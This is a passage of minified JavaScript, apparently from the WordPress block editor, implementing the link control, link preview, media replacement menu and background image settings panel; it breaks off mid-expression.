zc=()=&gt;Promise.resolve([]),Vc=()=&gt;{},Fc=(0,h.forwardRef)((({value:e,children:t,currentLink:n={},className:o=null,placeholder:r=null,withCreateSuggestion:i=!1,onCreateSuggestion:s=Vc,onChange:l=Vc,onSelect:a=Vc,showSuggestions:c=!0,renderSuggestions:u=e=&gt;(0,d.jsx)(Rc,{...e}),fetchSuggestions:p=null,allowDirectEntry:g=!0,showInitialSuggestions:m=!1,suggestionsQuery:f={},withURLSuggestion:b=!0,createSuggestionButtonText:k,hideLabelFromVision:v=!1,suffix:_,isEntity:y=!1},x)=&gt;{const S=Oc(f,g,i),w=c?p||S:zc,[C,B]=(0,h.useState)(),I=async e=&gt;{let t=e;if(Bc!==e.type){if(g||t&amp;&amp;Object.keys(t).length&gt;=1){const{id:e,url:o,...r}=n??{};a({...r,...t},t)}}else try{t=await s(e.title),t?.url&amp;&amp;a(t)}catch(e){}},j=r??(0,T.__)(&quot;Search or type URL&quot;),E=v&amp;&amp;&quot;&quot;!==r?j:(0,T.__)(&quot;Link&quot;);return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-link-control__search-input-container&quot;,children:[(0,d.jsx)(lc,{disableSuggestions:n?.url===e,label:E,hideLabelFromVision:v,className:o,value:e,onChange:(e,t)=&gt;{l(e),B(t)},placeholder:j,__experimentalRenderSuggestions:c?e=&gt;u({...e,withCreateSuggestion:i,createSuggestionButtonText:k,suggestionsQuery:f,handleSuggestionClick:t=&gt;{e.handleSuggestionClick&amp;&amp;e.handleSuggestionClick(t),I(t)}}):null,__experimentalFetchLinkSuggestions:w,__experimentalHandleURLSuggestions:!0,__experimentalShowInitialSuggestions:m,onSubmit:(t,n)=&gt;{const o=t||C;o||e?.trim()?.length?I(o||{url:e}):n.preventDefault()},inputRef:x,suffix:_,disabled:y}),t]})}));var Hc=Fc;const Uc=e=&gt;(I()(&quot;wp.blockEditor.__experimentalLinkControlSearchInput&quot;,{since:&quot;6.8&quot;}),(0,d.jsx)(Fc,{...e}));var Gc=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z&quot;})}),$c=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z&quot;})}),Wc=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z&quot;})});const{Slot:Kc,Fill:Zc}=(0,Ss.createSlotFill)(&quot;BlockEditorLinkControlViewer&quot;);function qc(e,t){switch(t.type){case&quot;RESOLVED&quot;:return{...e,isFetching:!1,richData:t.richData};case&quot;ERROR&quot;:return{...e,isFetching:!1,richData:null};case&quot;LOADING&quot;:return{...e,isFetching:!0};default:throw new Error(`Unexpected action type ${t.type}`)}}var Yc=function(e){const[t,n]=(0,h.useReducer)(qc,{richData:null,isFetching:!1}),{fetchRichUrlData:o}=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii);return{fetchRichUrlData:t().__experimentalFetchRichUrlData}}),[]);return(0,h.useEffect)((()=&gt;{if(e?.length&amp;&amp;o&amp;&amp;&quot;undefined&quot;!=typeof AbortController){n({type:&quot;LOADING&quot;});const t=new window.AbortController,r=t.signal;return o(e,{signal:r}).then((e=&gt;{n({type:&quot;RESOLVED&quot;,richData:e})})).catch((()=&gt;{r.aborted||n({type:&quot;ERROR&quot;})})),()=&gt;{t.abort()}}}),[e]),t};function Xc({value:e,onEditClick:t,hasRichPreviews:n=!1,hasUnlinkControl:o=!1,onRemove:r}){const i=(0,g.useSelect)((e=&gt;e(pr.store).get(&quot;core&quot;,&quot;showIconLabels&quot;)),[]),s=n?e?.url:null,{richData:l,isFetching:a}=Yc(s),c=l&amp;&amp;Object.keys(l).length,u=e&amp;&amp;(0,Ha.filterURLForDisplay)((0,Ha.safeDecodeURI)(e.url),24)||&quot;&quot;,p=!e?.url?.length,h=!p&amp;&amp;(0,Ua.__unstableStripHTML)(l?.title||e?.title||u),f=!e?.url||h.replace(/^[a-z\-.\+]+[0-9]*:(\/\/)?/i,&quot;&quot;).replace(/^www\./i,&quot;&quot;)===u;let b;b=l?.icon?(0,d.jsx)(&quot;img&quot;,{src:l?.icon,alt:&quot;&quot;}):p?(0,d.jsx)(Dl,{icon:Gc,size:32}):(0,d.jsx)(Dl,{icon:mc});const{createNotice:k}=(0,g.useDispatch)(dr.store),v=(0,m.useCopyToClipboard)(e.url,(()=&gt;{k(&quot;info&quot;,(0,T.__)(&quot;Link copied to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})}));return(0,d.jsx)(&quot;div&quot;,{role:&quot;group&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Manage link&quot;),className:gs(&quot;block-editor-link-control__search-item&quot;,{&quot;is-current&quot;:!0,&quot;is-rich&quot;:c,&quot;is-fetching&quot;:!!a,&quot;is-preview&quot;:!0,&quot;is-error&quot;:p,&quot;is-url-title&quot;:h===u}),children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-link-control__search-item-top&quot;,children:[(0,d.jsxs)(&quot;span&quot;,{className:&quot;block-editor-link-control__search-item-header&quot;,role:&quot;figure&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Link information&quot;),children:[(0,d.jsx)(&quot;span&quot;,{className:gs(&quot;block-editor-link-control__search-item-icon&quot;,{&quot;is-image&quot;:l?.icon}),children:b}),(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-link-control__search-item-details&quot;,children:p?(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-link-control__search-item-error-notice&quot;,children:(0,T.__)(&quot;Link is empty&quot;)}):(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.ExternalLink,{className:&quot;block-editor-link-control__search-item-title&quot;,href:e.url,children:(0,d.jsx)(Ss.__experimentalTruncate,{numberOfLines:1,children:h})}),!f&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-link-control__search-item-info&quot;,children:(0,d.jsx)(Ss.__experimentalTruncate,{numberOfLines:1,children:u})})]})})]}),(0,d.jsx)(Ss.Button,{icon:$c,label:(0,T.__)(&quot;Edit link&quot;),onClick:t,size:&quot;compact&quot;,showTooltip:!i}),o&amp;&amp;(0,d.jsx)(Ss.Button,{icon:Ja,label:(0,T.__)(&quot;Remove link&quot;),onClick:r,size:&quot;compact&quot;,showTooltip:!i}),(0,d.jsx)(Ss.Button,{icon:Wc,label:(0,T.__)(&quot;Copy link&quot;),ref:v,accessibleWhenDisabled:!0,disabled:p,size:&quot;compact&quot;,showTooltip:!i}),(0,d.jsx)(Kc,{fillProps:e})]})})}const Qc=()=&gt;{};var Jc=({value:e,onChange:t=Qc,settings:n})=&gt;{if(!n||!n.length)return null;const o=n=&gt;o=&gt;{t({...e,[n.id]:o})},r=n.map((n=&gt;{if(&quot;render&quot;in n){if(&quot;function&quot;==typeof n.render){const o=n.render(n,e,t);return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__setting&quot;,children:o},n.id)}return null}return(0,d.jsx)(Ss.CheckboxControl,{__nextHasNoMarginBottom:!0,className:&quot;block-editor-link-control__setting&quot;,label:n.title,onChange:o(n),checked:!!e&amp;&amp;!!e[n.id],help:n?.help},n.id)})).filter(Boolean);return(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-link-control__settings&quot;,children:[(0,d.jsx)(Ss.VisuallyHidden,{as:&quot;legend&quot;,children:(0,T.__)(&quot;Currently selected link settings&quot;)}),r]})};const eu=e=&gt;{let t=!1;return{promise:new Promise(((n,o)=&gt;{e.then((e=&gt;t?o({isCanceled:!0}):n(e)),(e=&gt;o(t?{isCanceled:!0}:e)))})),cancel(){t=!0}}};var tu=n(5215),nu=n.n(tu);const ou=()=&gt;{},ru=&quot;core/block-editor&quot;,iu=&quot;linkControlSettingsDrawer&quot;;function su({searchInputPlaceholder:e,value:t,settings:n=Mc,onChange:o=ou,onRemove:r,onCancel:i,noDirectEntry:s=!1,showSuggestions:l=!0,showInitialSuggestions:a,forceIsEditingLink:c,createSuggestion:u,withCreateSuggestion:p,inputValue:f=&quot;&quot;,suggestionsQuery:b={},noURLSuggestion:k=!1,createSuggestionButtonText:v,hasRichPreviews:_=!1,hasTextControl:y=!1,renderControlBottom:x=null,handleEntities:S=!1}){void 0===p&amp;&amp;u&amp;&amp;(p=!0);const[w,C]=(0,h.useState)(!1),{advancedSettingsPreference:B}=(0,g.useSelect)((e=&gt;({advancedSettingsPreference:e(pr.store).get(ru,iu)??!1})),[]),{set:I}=(0,g.useDispatch)(pr.store),j=B||w,E=(0,h.useRef)(!0),M=(0,h.useRef)(),P=(0,h.useRef)(),R=(0,h.useRef)(),A=(0,h.useRef)(!1),N=n.map((({id:e})=&gt;e)),[L,D,O,z,V]=function(e){const[t,n]=(0,h.useState)(e||{}),[o,r]=(0,h.useState)(e);return nu()(e,o)||(r(e),n(e)),[t,n,e=&gt;{n({...t,url:e})},e=&gt;{n({...t,title:e})},e=&gt;o=&gt;{const r=Object.keys(o).reduce(((t,n)=&gt;(e.includes(n)&amp;&amp;(t[n]=o[n]),t)),{});n({...t,...r})}]}(t),F=S&amp;&amp;!!L?.id,H=(0,m.useInstanceId)(su,&quot;link-control&quot;),U=F?`${H}__help`:null,G=t&amp;&amp;!(0,Xa.isShallowEqualObjects)(L,t),[$,W]=(0,h.useState)(void 0!==c?c:!t||!t.url),{createPage:K,isCreatingPage:Z,errorMessage:q}=function(e){const t=(0,h.useRef)(),[n,o]=(0,h.useState)(!1),[r,i]=(0,h.useState)(null);return(0,h.useEffect)((()=&gt;()=&gt;{t.current&amp;&amp;t.current.cancel()}),[]),{createPage:async function(n){o(!0),i(null);try{return t.current=eu(Promise.resolve(e(n))),await t.current.promise}catch(e){if(e&amp;&amp;e.isCanceled)return;throw i(e.message||(0,T.__)(&quot;An unknown error occurred during creation. Please try again.&quot;)),e}finally{o(!1)}},isCreatingPage:n,errorMessage:r}}(u);(0,h.useEffect)((()=&gt;{void 0!==c&amp;&amp;W(c)}),[c]),(0,h.useEffect)((()=&gt;{if(E.current)return;(Ua.focus.focusable.find(M.current)[0]||M.current).focus(),A.current=!1}),[$,Z]),(0,h.useEffect)((()=&gt;(E.current=!1,()=&gt;{E.current=!0})),[]);const Y=t?.url?.trim()?.length&gt;0,X=()=&gt;{A.current=!!M.current?.contains(M.current.ownerDocument.activeElement),W(!1)},Q=()=&gt;{G&amp;&amp;o({...t,...L,url:te}),X()},[J,ee]=(0,h.useState)(!1);(0,h.useEffect)((()=&gt;{J&amp;&amp;(R.current?.focus(),ee(!1))}),[J]);const te=f||L?.url||&quot;&quot;,ne=!te?.trim()?.length,oe=r&amp;&amp;t&amp;&amp;!$&amp;&amp;!Z,re=$&amp;&amp;Y,ie=Y&amp;&amp;y,se=($||!t)&amp;&amp;!Z,le=!G||ne,ae=!!n?.length&amp;&amp;$&amp;&amp;Y;return(0,d.jsxs)(&quot;div&quot;,{tabIndex:-1,ref:M,className:&quot;block-editor-link-control&quot;,children:[Z&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-link-control__loading&quot;,children:[(0,d.jsx)(Ss.Spinner,{}),&quot; &quot;,(0,T.__)(&quot;Creating&quot;),&quot;…&quot;]}),se&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(&quot;div&quot;,{className:gs({&quot;block-editor-link-control__search-input-wrapper&quot;:!0,&quot;has-text-control&quot;:ie,&quot;has-actions&quot;:re}),children:[ie&amp;&amp;(0,d.jsx)(Ss.TextControl,{__nextHasNoMarginBottom:!0,ref:P,className:&quot;block-editor-link-control__field block-editor-link-control__text-content&quot;,label:(0,T.__)(&quot;Text&quot;),value:L?.title,onChange:z,onKeyDown:e=&gt;{const{keyCode:t}=e;t!==$a.ENTER||ne||(e.preventDefault(),Q())},__next40pxDefaultSize:!0}),(0,d.jsx)(Hc,{ref:R,currentLink:t,className:&quot;block-editor-link-control__field block-editor-link-control__search-input&quot;,placeholder:e,value:te,withCreateSuggestion:p,onCreateSuggestion:K,onChange:O,onSelect:e=&gt;{const t=Object.keys(e).reduce(((t,n)=&gt;(N.includes(n)||(t[n]=e[n]),t)),{});o({...L,...t,title:L?.title||e?.title}),X()},showInitialSuggestions:a,allowDirectEntry:!s,showSuggestions:l,suggestionsQuery:b,withURLSuggestion:!k,createSuggestionButtonText:v,hideLabelFromVision:!ie,isEntity:F,suffix:(0,d.jsx)(lu,{isEntity:F,showActions:re,isDisabled:le,onUnlink:()=&gt;{const{id:e,kind:t,type:n,...o}=L;D({...o,id:void 0,kind:void 0,type:void 0,url:void 0}),ee(!0)},onSubmit:Q,helpTextId:U})}),F&amp;&amp;U&amp;&amp;(0,d.jsx)(&quot;p&quot;,{id:U,className:&quot;block-editor-link-control__help&quot;,children:(0,T.sprintf)((0,T.__)(&quot;Synced with the selected %s.&quot;),L?.type||&quot;item&quot;)})]}),q&amp;&amp;(0,d.jsx)(Ss.Notice,{className:&quot;block-editor-link-control__search-error&quot;,status:&quot;error&quot;,isDismissible:!1,children:q})]}),t&amp;&amp;!$&amp;&amp;!Z&amp;&amp;(0,d.jsx)(Xc,{value:t,onEditClick:()=&gt;W(!0),hasRichPreviews:_,hasUnlinkControl:oe,onRemove:()=&gt;{r(),W(!0)}},t?.url),ae&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__tools&quot;,children:!ne&amp;&amp;(0,d.jsx)(oc,{settingsOpen:j,setSettingsOpen:e=&gt;{I&amp;&amp;I(ru,iu,e),C(e)},children:(0,d.jsx)(Jc,{value:L,settings:n,onChange:V(N)})})}),re&amp;&amp;(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;right&quot;,className:&quot;block-editor-link-control__search-actions&quot;,children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:e=&gt;{e.preventDefault(),e.stopPropagation(),D(t),Y?X():r?.(),i?.()},children:(0,T.__)(&quot;Cancel&quot;)}),(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:le?ou:Q,className:&quot;block-editor-link-control__search-submit&quot;,&quot;aria-disabled&quot;:le,children:(0,T.__)(&quot;Apply&quot;)})]}),!Z&amp;&amp;x&amp;&amp;x()]})}function lu({isEntity:e,showActions:t,isDisabled:n,onUnlink:o,onSubmit:r,helpTextId:i}){return e?(0,d.jsx)(Ss.Button,{icon:Ja,onClick:o,&quot;aria-describedby&quot;:i,showTooltip:!0,label:(0,T.__)(&quot;Unsync and edit&quot;),__next40pxDefaultSize:!0}):t?void 0:(0,d.jsx)(Ss.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,d.jsx)(Ss.Button,{onClick:n?ou:r,label:(0,T.__)(&quot;Submit&quot;),icon:ec,className:&quot;block-editor-link-control__search-submit&quot;,&quot;aria-disabled&quot;:n,size:&quot;small&quot;})})}su.ViewerFill=Zc,su.DEFAULT_LINK_SETTINGS=Mc;const au=e=&gt;(I()(&quot;wp.blockEditor.__experimentalLinkControl&quot;,{since:&quot;6.8&quot;,alternative:&quot;wp.blockEditor.LinkControl&quot;}),(0,d.jsx)(su,{...e}));au.ViewerFill=su.ViewerFill,au.DEFAULT_LINK_SETTINGS=su.DEFAULT_LINK_SETTINGS;var cu=su;const uu=()=&gt;{};let du=0;var pu=(0,m.compose)([(0,g.withDispatch)((e=&gt;{const{createNotice:t,removeNotice:n}=e(dr.store);return{createNotice:t,removeNotice:n}})),(0,Ss.withFilters)(&quot;editor.MediaReplaceFlow&quot;)])((({mediaURL:e,mediaId:t,mediaIds:n,allowedTypes:o,accept:r,onError:i,onSelect:s,onSelectURL:l,onReset:a,onToggleFeaturedImage:c,useFeaturedImage:u,onFilesUpload:p=uu,name:h=(0,T.__)(&quot;Replace&quot;),createNotice:m,removeNotice:f,children:b,multiple:k=!1,addToGallery:v,handleUpload:_=!0,popoverProps:y,renderToggle:x})=&gt;{const{getSettings:S}=(0,g.useSelect)(Ii),w=&quot;block-editor/media-replace-flow/error-notice/&quot;+ ++du,C=e=&gt;{const t=(0,Ua.__unstableStripHTML)(e);i?i(t):setTimeout((()=&gt;{m(&quot;error&quot;,t,{speak:!0,id:w,isDismissible:!0})}),1e3)},B=(e,t)=&gt;{u&amp;&amp;c&amp;&amp;c(),t(),s(e),(0,Ho.speak)((0,T.__)(&quot;The media file has been replaced&quot;)),f(w)},I=e=&gt;{e.keyCode===$a.DOWN&amp;&amp;(e.preventDefault(),e.target.click())},j=k&amp;&amp;!(!o||0===o.length)&amp;&amp;o.every((e=&gt;&quot;image&quot;===e||e.startsWith(&quot;image/&quot;)));return(0,d.jsx)(Ss.Dropdown,{popoverProps:y,contentClassName:&quot;block-editor-media-replace-flow__options&quot;,renderToggle:({isOpen:e,onToggle:t})=&gt;x?x({&quot;aria-expanded&quot;:e,&quot;aria-haspopup&quot;:&quot;true&quot;,onClick:t,onKeyDown:I,children:h}):(0,d.jsx)(Ss.ToolbarButton,{&quot;aria-expanded&quot;:e,&quot;aria-haspopup&quot;:&quot;true&quot;,onClick:t,onKeyDown:I,children:h}),renderContent:({onClose:i})=&gt;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(Ss.NavigableMenu,{className:&quot;block-editor-media-replace-flow__media-upload-menu&quot;,children:[(0,d.jsxs)(Ya,{children:[(0,d.jsx)(qa,{gallery:j,addToGallery:v,multiple:k,value:k?n:t,onSelect:e=&gt;B(e,i),allowedTypes:o,render:({open:e})=&gt;(0,d.jsx)(Ss.MenuItem,{icon:Wa,onClick:e,children:(0,T.__)(&quot;Open Media Library&quot;)})}),(0,d.jsx)(Ss.FormFileUpload,{onChange:e=&gt;{((e,t)=&gt;{const n=e.target.files;if(!_)return t(),s(n);p(n),S().mediaUpload({allowedTypes:o,filesList:n,onFileChange:([e])=&gt;{B(e,t)},onError:C})})(e,i)},accept:r,multiple:!!k,render:({openFileDialog:e})=&gt;(0,d.jsx)(Ss.MenuItem,{icon:Ka,onClick:()=&gt;{e()},children:(0,T._x)(&quot;Upload&quot;,&quot;verb&quot;)})})]}),c&amp;&amp;(0,d.jsx)(Ss.MenuItem,{icon:Za,onClick:c,isPressed:u,children:(0,T.__)(&quot;Use featured image&quot;)}),e&amp;&amp;a&amp;&amp;(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;{a(),i()},children:(0,T.__)(&quot;Reset&quot;)}),&quot;function&quot;==typeof b?b({onClose:i}):b]}),l&amp;&amp;(0,d.jsxs)(&quot;form&quot;,{className:&quot;block-editor-media-flow__url-input&quot;,children:[(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-media-replace-flow__image-url-label&quot;,children:(0,T.__)(&quot;Current media URL:&quot;)}),(0,d.jsx)(cu,{value:{url:e},settings:[],showSuggestions:!1,onChange:({url:e})=&gt;{l(e)},searchInputPlaceholder:(0,T.__)(&quot;Paste or type URL&quot;)})]})]})})}));const hu=&quot;image&quot;,gu={placement:&quot;left-start&quot;,offset:36,shift:!0,className:&quot;block-editor-global-styles-background-panel__popover&quot;},mu=()=&gt;{},fu=e=&gt;{window.requestAnimationFrame((()=&gt;{const[t]=Ua.focus.tabbable.find(e?.current);t&amp;&amp;t.focus()}))};const bu=e=&gt;{if(!e||isNaN(e.x)&amp;&amp;isNaN(e.y))return;return`${100*(isNaN(e.x)?.5:e.x)}% ${100*(isNaN(e.y)?.5:e.y)}%`},ku=e=&gt;{if(!e)return{x:void 0,y:void 0};let[t,n]=e.split(&quot; &quot;).map((e=&gt;parseFloat(e)/100));return t=isNaN(t)?void 0:t,n=isNaN(n)?t:n,{x:t,y:n}};function vu({as:e=&quot;span&quot;,imgUrl:t,toggleProps:n={},filename:o,label:r,onToggleCallback:i=mu}){const{isOpen:s,...l}=n;(0,h.useEffect)((()=&gt;{void 0!==s&amp;&amp;i(s)}),[s,i]);const a=()=&gt;(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;flex-start&quot;,as:&quot;span&quot;,className:&quot;block-editor-global-styles-background-panel__inspector-preview-inner&quot;,children:[t&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-global-styles-background-panel__inspector-image-indicator-wrapper&quot;,&quot;aria-hidden&quot;:!0,children:(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-global-styles-background-panel__inspector-image-indicator&quot;,style:{backgroundImage:`url(${t})`}})}),(0,d.jsxs)(Ss.FlexItem,{as:&quot;span&quot;,style:t?{}:{flexGrow:1},children:[(0,d.jsx)(Ss.__experimentalTruncate,{numberOfLines:1,className:&quot;block-editor-global-styles-background-panel__inspector-media-replace-title&quot;,children:r}),(0,d.jsx)(Ss.VisuallyHidden,{as:&quot;span&quot;,children:t?(0,T.sprintf)((0,T.__)(&quot;Background image: %s&quot;),o||r):(0,T.__)(&quot;No background image selected&quot;)})]})]});return&quot;button&quot;===e?(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,...l,children:a()}):a()}function _u({label:e,filename:t,url:n,children:o,onToggle:r=mu,hasImageValue:i,onReset:s,containerRef:l}){if(!i)return;const a=e||(0,Ha.getFilename)(n)||(0,T.__)(&quot;Add background image&quot;);return(0,d.jsx)(Ss.Dropdown,{popoverProps:gu,renderToggle:({onToggle:e,isOpen:o})=&gt;{const i={onClick:e,className:&quot;block-editor-global-styles-background-panel__dropdown-toggle&quot;,&quot;aria-expanded&quot;:o,&quot;aria-label&quot;:(0,T.__)(&quot;Background size, position and repeat options.&quot;),isOpen:o};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(vu,{imgUrl:n,filename:t,label:a,toggleProps:i,as:&quot;button&quot;,onToggleCallback:r}),s&amp;&amp;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Reset&quot;),className:&quot;block-editor-global-styles-background-panel__reset&quot;,size:&quot;small&quot;,icon:Fa,onClick:()=&gt;{s(),o&amp;&amp;e(),fu(l)}})]})},renderContent:()=&gt;(0,d.jsx)(Ss.__experimentalDropdownContentWrapper,{className:&quot;block-editor-global-styles-background-panel__dropdown-content-wrapper&quot;,paddingSize:&quot;medium&quot;,children:o})})}function yu(){return(0,d.jsx)(Ss.Placeholder,{className:&quot;block-editor-global-styles-background-panel__loading&quot;,children:(0,d.jsx)(Ss.Spinner,{})})}function xu({onChange:e,style:t,inheritedValue:n,onRemoveImage:o=mu,onResetImage:r=mu,displayInPanel:i,defaultValues:s,containerRef:l}){const[a,c]=(0,h.useState)(!1),{getSettings:u}=(0,g.useSelect)(Ii),{id:p,title:m,url:f}=t?.background?.backgroundImage||{...n?.background?.backgroundImage},{createErrorNotice:b}=(0,g.useDispatch)(dr.store),k=e=&gt;{b(e,{type:&quot;snackbar&quot;}),c(!1)},v=n=&gt;{if(!n||!n.url)return e(ge(t,[&quot;background&quot;,&quot;backgroundImage&quot;],void 0)),void c(!1);if((0,Ga.isBlobURL)(n.url))return void c(!0);if(n.media_type&amp;&amp;n.media_type!==hu||!n.media_type&amp;&amp;n.type&amp;&amp;n.type!==hu)return void k((0,T.__)(&quot;Only images can be used as a background image.&quot;));const o=t?.background?.backgroundSize||s?.backgroundSize,r=t?.background?.backgroundPosition;e(ge(t,[&quot;background&quot;],{...t?.background,backgroundImage:{url:n.url,id:n.id,source:&quot;file&quot;,title:n.title||void 0},backgroundPosition:r||&quot;auto&quot;!==o&amp;&amp;o?r:&quot;50% 0&quot;,backgroundSize:o})),c(!1),fu(l)},_=Iu(t),y=!_&amp;&amp;Iu(n),x=m||(0,Ha.getFilename)(f)||(0,T.__)(&quot;Add background image&quot;);return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-global-styles-background-panel__image-tools-panel-item&quot;,children:[a&amp;&amp;(0,d.jsx)(yu,{}),(0,d.jsx)(pu,{mediaId:p,mediaURL:f,allowedTypes:[hu],accept:&quot;image/*&quot;,onSelect:v,popoverProps:{className:gs({&quot;block-editor-global-styles-background-panel__media-replace-popover&quot;:i})},name:(0,d.jsx)(vu,{imgUrl:f,filename:m,label:x}),renderToggle:e=&gt;(0,d.jsx)(Ss.Button,{...e,__next40pxDefaultSize:!0}),onError:k,onReset:()=&gt;{fu(l),r()},children:y&amp;&amp;(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;{fu(l),e(ge(t,[&quot;background&quot;],{backgroundImage:&quot;none&quot;})),o()},children:(0,T.__)(&quot;Remove&quot;)})}),(0,d.jsx)(Ss.DropZone,{onFilesDrop:e=&gt;{u().mediaUpload({allowedTypes:[hu],filesList:e,onFileChange([e]){v(e)},onError:k,multiple:!1})},label:(0,T.__)(&quot;Drop to upload&quot;)})]})}function Su({onChange:e,style:t,inheritedValue:n,defaultValues:o}){const r=t?.background?.backgroundSize||n?.background?.backgroundSize,i=t?.background?.backgroundRepeat||n?.background?.backgroundRepeat,s=t?.background?.backgroundImage?.url||n?.background?.backgroundImage?.url,l=t?.background?.backgroundImage?.id,a=t?.background?.backgroundPosition||n?.background?.backgroundPosition,c=t?.background?.backgroundAttachment||n?.background?.backgroundAttachment;let u=!r&amp;&amp;l?o?.backgroundSize:r||&quot;auto&quot;;u=[&quot;cover&quot;,&quot;contain&quot;,&quot;auto&quot;].includes(u)?u:&quot;auto&quot;;const p=!(&quot;no-repeat&quot;===i||&quot;cover&quot;===u&amp;&amp;void 0===i),h=n=&gt;{let o=i,r=a;&quot;contain&quot;===n&amp;&amp;(o=&quot;no-repeat&quot;,r=void 0),&quot;cover&quot;===n&amp;&amp;(o=void 0,r=void 0),&quot;cover&quot;!==u&amp;&amp;&quot;contain&quot;!==u||&quot;auto&quot;!==n||(o=void 0,t?.background?.backgroundImage?.id&amp;&amp;(r=&quot;50% 0&quot;)),n||&quot;auto&quot;!==u||(n=&quot;auto&quot;),e(ge(t,[&quot;background&quot;],{...t?.background,backgroundPosition:r,backgroundRepeat:o,backgroundSize:n}))},g=!a&amp;&amp;l&amp;&amp;&quot;contain&quot;===r?o?.backgroundPosition:a;return(0,d.jsxs)(Ss.__experimentalVStack,{spacing:3,className:&quot;single-column&quot;,children:[(0,d.jsx)(Ss.FocalPointPicker,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Focal point&quot;),url:s,value:ku(g),onChange:n=&gt;{e(ge(t,[&quot;background&quot;,&quot;backgroundPosition&quot;],bu(n)))}}),(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Fixed background&quot;),checked:&quot;fixed&quot;===c,onChange:()=&gt;e(ge(t,[&quot;background&quot;,&quot;backgroundAttachment&quot;],&quot;fixed&quot;===c?&quot;scroll&quot;:&quot;fixed&quot;))}),(0,d.jsxs)(Ss.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,size:&quot;__unstable-large&quot;,label:(0,T.__)(&quot;Size&quot;),value:u,onChange:h,isBlock:!0,help:(m=r||o?.backgroundSize,&quot;cover&quot;===m||void 0===m?(0,T.__)(&quot;Image covers the space evenly.&quot;):&quot;contain&quot;===m?(0,T.__)(&quot;Image is contained without distortion.&quot;):(0,T.__)(&quot;Image has a fixed width.&quot;)),children:[(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;cover&quot;,label:(0,T._x)(&quot;Cover&quot;,&quot;Size option for background image control&quot;)},&quot;cover&quot;),(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;contain&quot;,label:(0,T._x)(&quot;Contain&quot;,&quot;Size option for background image control&quot;)},&quot;contain&quot;),(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;auto&quot;,label:(0,T._x)(&quot;Tile&quot;,&quot;Size option for background image control&quot;)},&quot;tile&quot;)]}),(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;flex-start&quot;,spacing:2,as:&quot;span&quot;,children:[(0,d.jsx)(Ss.__experimentalUnitControl,{&quot;aria-label&quot;:(0,T.__)(&quot;Background image width&quot;),onChange:h,value:r,size:&quot;__unstable-large&quot;,__unstableInputWidth:&quot;100px&quot;,min:0,placeholder:(0,T.__)(&quot;Auto&quot;),disabled:&quot;auto&quot;!==u||void 